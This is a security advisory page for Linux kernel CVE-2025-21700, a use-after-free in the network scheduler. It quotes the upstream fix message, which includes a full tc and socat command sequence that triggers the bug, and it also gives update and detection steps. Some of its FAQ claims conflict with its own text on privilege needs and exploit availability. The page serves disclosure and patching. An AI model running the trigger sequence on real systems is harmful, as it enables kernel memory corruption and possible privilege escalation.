CVE-2025-21700·Kernel vulnerability
In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <nnamrec@gmail.com>
- Severity
- high
- Software
- Kernel
- Fixed in
- 6.13.2
- Published
- 2025-02-13
Affected versions
From: 6.13
Until: 6.13.2
Fixed in: 6.13.2
How to fix this CVE
Update your Linux kernel to version 6.13.2 or later to remediate CVE-2025-21700, which allows unprivileged local attackers to trigger use-after-free conditions in the network scheduler subsystem. This vulnerability requires disabling the ability to reparent qdisc (queue discipline) objects across different parent classes, preventing a class of privilege escalation attacks. Apply the kernel update through your distribution's package manager and reboot your system to activate the patched kernel.
sudo dnf update kernel && sudo rebootDefensia detects this vulnerability
How to check if you are affected
- Step 1: Check your current kernel version with `uname -r` and confirm if it falls within the affected range (6.13.0 to 6.13.1)
- Step 2: Verify the vulnerable qdisc replace functionality is accessible to unprivileged users by running `tc qdisc show` on the loopback interface (requires CAP_NET_ADMIN but demonstrates exposure)
- Step 3: Search kernel logs with `sudo dmesg | grep -i qdisc` or `sudo journalctl -u kernel | grep -i qdisc` for any warnings or errors related to qdisc operations, which may indicate exploitation attempts
- Step 4: After patching, verify the new kernel is loaded with `uname -r` and confirm it shows version 6.13.2 or later, then test that `tc qdisc replace` operations across parent classes are properly rejected
FAQ
What is CVE-2025-21700?
CVE-2025-21700 is a use-after-free vulnerability in the Linux kernel's network scheduler (qdisc) implementation that allows unprivileged local users to reparent queue discipline objects across different parent classes, leading to memory corruption and privilege escalation.
Is CVE-2025-21700 being actively exploited?
No, CVE-2025-21700 is not listed on CISA's Known Exploited Vulnerabilities catalog and no public exploit code has been released, though proof-of-concept code demonstrating the vulnerability exists in security research.
What versions of Kernel are affected by CVE-2025-21700?
Linux kernel versions 6.13.0 through 6.13.1 are affected. The vulnerability was fixed in kernel version 6.13.2 and later stable releases.
How do I check if my server is vulnerable to CVE-2025-21700?
Run `uname -r` to check your kernel version; if it reports 6.13.0 or 6.13.1, your system is vulnerable and requires immediate patching to 6.13.2 or later.
Does Defensia detect CVE-2025-21700?
Yes — Defensia's CVE advisory scanner compares installed package versions against the NVD database. If Linux kernel is installed on a monitored server, CVE-2025-21700 will appear in your dashboard with remediation steps.
Related Kernel CVEs
References
- https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d
- https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc
- https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70
- https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8
- https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f
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